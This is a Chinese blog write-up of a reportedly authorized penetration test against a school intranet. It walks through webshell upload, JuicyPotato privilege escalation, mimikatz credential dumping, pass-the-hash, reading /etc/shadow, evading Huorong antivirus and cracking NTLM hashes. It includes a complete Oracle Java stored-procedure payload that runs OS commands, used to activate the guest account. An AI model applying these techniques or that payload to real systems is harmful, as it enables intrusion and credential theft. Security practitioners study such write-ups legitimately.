<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    針對學校內網的一次滲透測試

    VSole2022-03-05 06:23:11

    0x01 初探內網

    在向信息中心的老師申請了對學校進行一次內網滲透測試的授權之后,我開始著手對學校內網中在用系統進行了一波信息搜集。其中大部分都使用了新版的未爆出0day的框架組件,這讓我一開始的打點過程陷入僵局。

    但是在我重新翻了一遍學校開放的各種web系統后,我發現了一些令人驚喜的系統。

    學校使用了很多新系統,但是并沒有把老系統關閉,經過一番搜索確定了這個老系統存在任意文件上傳漏洞。

    沒有任何過濾,可以說就是撿漏了。

    而且也返回了一句話木馬的路徑。但是我遇到了一個很奇怪的現象,用蟻劍和用菜刀連接后,返回的路徑不一樣,其中的文件也不一樣。

    其中蟻劍連接的shell無法上傳文件,而菜刀連接的卻可以,并且webshell執行一次命令后就會封禁IP,懷疑有waf。

    所以我先傳了一個msf的aspx木馬來獲取一個meterpreter的會話。使用windows-exploit-suggest探測未打的補丁。

    發現存在MS16-075這個非常好用的漏洞,直接配合msf的juicy_potato模塊來攻擊,記住要修改CLSID,可以在這里找

    https://github.com/ohpe/juicy-potato/tree/master/CLSID

    使用的payload最好要選擇正向連接 bind_tcp,不然有可能彈不回來shell。

    這樣就獲取了system權限,接下來就是對機器進行信息搜集,獲取對我們橫向滲透有幫助的信息。

    很奇怪的一點是,這臺機器本來是有域的,但現在卻沒有了,且無法找到域控。所以我們的重點放在密碼撞庫。使用msf自帶的mimikatz模塊來獲取密碼。

    撞到了兩三臺機器,還有一些機器是開著445端口,但沒有開3389端口。

    這樣我們可以嘗試使用ms-17010,但考慮可能會對某些正在使用的系統造成影響,我還是選擇使用更穩妥的 psexec模塊來進行撞庫。

    也就是哈希傳遞,有時候我們碰到無法獲取明文的密碼,可以考慮dump出密碼的hash值,再使用psexec模塊進行哈希傳遞來進行攻擊,獲取到的都是SYSTEM權限。

    后面的步驟索然無味,就是不斷的撞庫搜集密碼,然后再通過搜集的密碼再撞庫,獲取到了足夠多的機器和密碼之后,找到了邊界路由器,但是之前搜集的密碼都無法成功登錄,只好放棄。這個網段就告一段落。

    0x02 深入探索

    經過對新系統的一番搜索,我在其中的一個功能中找到了任意文件下載漏洞。

    并且是root用戶起的服務,最理想的情況就是,讀取/etc/shadow文件,爆破root用戶密碼。(失敗),然后嘗試讀取/root/.bash_history 來獲取root用戶的操作歷史記錄。

    其中記錄了tomcat部署的路徑,以及備份的源碼文件。通過下載源碼進行信息搜集,我搜集到了一個很關鍵的信息,這個網段的機器大多數使用oracle數據庫,并且沒有修改SID,手里還有幾個可以嘗試的密碼。

    經過一番爆破,發現了一臺機器oracle數據庫system用戶密碼未修改,為manager。大家應該知道oracle數據庫是可以執行系統命令的,而system用戶完全符合執行系統命令的條件。網上找到一個工具,去掉了繁瑣的步驟,可以直接執行命令。

    0x03 繞過火絨行為檢測

    但是又出現了一個很奇怪的問題,我只能執行少數的幾個命令,雖然我是system用戶,但我一旦使用到 net user之類的命令時,就沒有了回顯。后面發現是火絨攔截了異常行為。

    然后我嘗試了直接使用 navicat 中的sqlplus來連接服務器。根據網上的步驟建立執行命令的代碼,我可以根據服務器返回的1或0來判斷命令是否執行。

    create or replace and compile Java Source named "OSCommand" as
    -- java:        OS COMMAND
    import java.io.*;
    import java.lang.*;
    public class OSCommand{
            public static String Run(String Command){
                    Runtime rt = Runtime.getRuntime();
                    int     rc = -1;
                    try{
                            Process p = rt.exec( Command );
                            int bufSize = 32000;
                            int len = 0;
                            byte buffer[] = new byte[bufSize];
                            String s = null;
                            BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
                            len = bis.read( buffer, 0, bufSize );
                            rc = p.waitFor();
                            if ( len != -1 ){
                                    s = new String( buffer, 0, len );
                                    return( s );
                            }
                            return( rc+"" );
                    }
                    catch (Exception e){
                            e.printStackTrace();
                            return(  "-1command[" + Command + "]" + e.getMessage() );
                    }
            }
    }
    /
    show errors
    create or replace function OSexec( cCommand IN string ) return varchar2 is
    -- function:    OS EXEC
    -- descr:       PL/SQL wrapper for the Java OSCOMMAND stored proc
    --
    language        JAVA
    name            'OSCommand.Run(java.lang.String) return java.lang.String';
    /
    show errors
    -- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
    -- and OSCOMMAND stored procs.
    declare
            SCHEMA  varchar2(30) := 'SCOTT';
    begin
            dbms_java.grant_permission(
                    SCHEMA,
                    'SYS:java.io.FilePermission',
                    '<>',
                    'execute'
            );
            dbms_java.grant_permission(
                    SCHEMA,
                    'SYS:java.lang.RuntimePermission',
                    'writeFileDescriptor',
                    '*'
            );
            dbms_java.grant_permission(
                    SCHEMA,
                    'SYS:java.lang.RuntimePermission',
                    'readFileDescriptor',
                    '*'
            );
    commit;
    end;
    /
    -- 查看本地連接信息
    SQL> select OSexec('ipconfig') as STDOUT from dual;
    STDOUT
    --------------------------------------------------------------------------------
    Windows IP ????
    ??????????? ????l?? 3:
       l??????? DNS ??? . . . . . . . :
       ????t?? IPv6 ???. . . . . . . . : *************
       IPv4 ??? . . . . . . . . . . . . : 192.168.100.100
       ????????  . . . . . . . . . . . . : 255.255.255.0
       ??????. . . . . . . . . . . . . : 0.0.0.0
    --激活guest賬號
     SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
    STDOUT
    --------------------------------------------------------------------------------
    0
    

    因為存在殺毒軟件監控oracle的行為,所以得要通過一些不被攔截的行為來組合起來攻擊。

    讓我沒想到的是,當我直接執行命令行開啟3389端口時,火絨居然沒有攔截。但當我執行net user等命令的時候又無法執行。

    這時候我突然想起來guest用戶,我啟用guest用戶,然后加入管理員組,這一次沒有被攔截。直接遠程桌面連接以后,當我想在機器上使用mimikatz或者是反彈一個shell到cs上都失敗了。

    并且guest用戶還有一些權限被禁用了,比如添加用戶等敏感操作。但是我執行net user的時候發現了一個用戶,這個用戶我在之前的機器上見過,并且我有這個用戶的密碼。所以再通過sqlplus來將這個用戶加入管理員組。

    所以火絨攔截的行為規則就是不能添加用戶,但是可以把已存在的用戶加入管理員組,并且guest用戶可激活,可開3389。在我再次登錄這個機器之后,還是沒有辦法反彈shell回來,或者是讀出它的密碼。這時候學弟和我說,可以直接打開火絨,關閉防護,就可以反彈shell了。我?????

    然后一通操作拿到了shell,但是還是讀不出明文密碼,我就想著把哈希dump出來然后去爆破。但是又想起來有一個國外的在線網站可以解NTLM

    https://www.objectif-securite.ch/ophcrack

    獲取密碼之后,又是熟悉的撞庫,信息搜集,再撞庫。

    然后在服務器上發現了一個xftp保存了幾臺服務器的密碼,這個時候發現一個騷操作,可以用一個星號密碼查看器的工具,來查看這里保存的密碼。

    又喜提幾臺root權限的機器。后面要考試就不想玩了,把所有搜集的密碼用戶記錄,然后撞整個網段的機器,撞出了很多弱口令。

    恭喜信息中心老師喜提加班。請大佬們輕噴。。。。

    滲透測試火絨
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    釣魚常用手法總結
    2022-03-24 13:48:29
    雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    滲透測試Tips
    2022-04-13 06:38:50
    知己知彼,百戰不殆1、如果提示缺少參數,如{msg:params error},可嘗使用字典模糊測試構造參數,進一步攻擊。
    正常的doc是能夠返回路徑的,訪問url直接下載文件。為了驗證目標機器搭載了tomcat服務,我訪問了對應web,發現確實存在,喜出望外,在webapp下寫入了jsp木馬,成功拿下管理員權限,為了進一步dumphash,開3389,用unicode加密的powershell繞過了火絨成功上線。
    0x01前言 由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。 0x02 內網滲透 利用shiro rce拿到shell上線CS
    這樣就獲取了system權限,接下來就是對機器進行信息搜集,獲取對我們橫向滲透有幫助的信息。其中記錄了tomcat部署的路徑,以及備份的源碼文件。經過一番爆破,發現了一臺機器oracle數據庫system用戶密碼未修改,為manager。大家應該知道oracle數據庫是可以執行系統命令的,而system用戶完全符合執行系統命令的條件。后面發現是火絨攔截了異常行為。
    接口未授權在嘗是了一波js接口后沒有發現什么漏洞,但是查找到了一些信息泄露。sql注入(兩枚)在剛剛注冊了用戶,登錄進去。第一處將url和參數進行拼接。第二處第二處同樣是js文件內找到。在圖片中間的地方插入xss語句但是如果沒有找到可以注冊的api,則這個漏洞無法利用,為了擴大漏洞危害,嘗試刪除cookie,是否可以未授權文件上傳。
    現在只對常讀和星標的公眾號才展示大圖推送,建議大家把瀟湘信安“設為星標”,否則可能看不到了!0x00 前言對國外某地產公司的一次測試測試過程中每一步都有阻礙,不像以往的一帆風順,對其中涉及的一些點進行一個簡單的記錄,碼較厚,見諒。
    0x01 前言我們在滲透測試過程中時常會用到一些腳本,而現在大部分的WAF或殺軟都會根據一些危險組件名、特定字符做為特征來查殺,只要找到其特征,我們可以使用簡單的混淆、拼接等方式來進行免殺。
    基于Windows打造的一個滲透測試套件工具包,非常不錯的一個項目,有喜歡的可以點個Star支持一下,有問題也可以提交Issues反饋!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类